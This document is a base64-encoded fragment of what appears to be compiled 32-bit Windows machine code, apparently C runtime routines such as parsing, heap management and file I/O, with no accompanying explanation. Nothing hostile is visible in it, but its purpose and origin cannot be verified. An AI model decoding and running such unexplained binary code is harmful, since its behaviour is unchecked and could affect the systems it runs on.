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
NLj/AAAAM9uL/wrAdCeKBkaKH0c42HTyUFPoPbH//4vYg8QE6DOx//+DxAQ4w3TaG8CD2P9b
Xl/Jw1WL7FGhPDlJAFMz2zvDiV38dSGLRQiL0DgYdH+KCoD5QXwKgPlafwWAwSCICkI4GnXq
62dWV2oBU1NTav++AAEAAP91CFZQ6AnA//+L+IPEIDv7dDhX6AzM//87w1mJRfx0KmoBU1dQ
av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
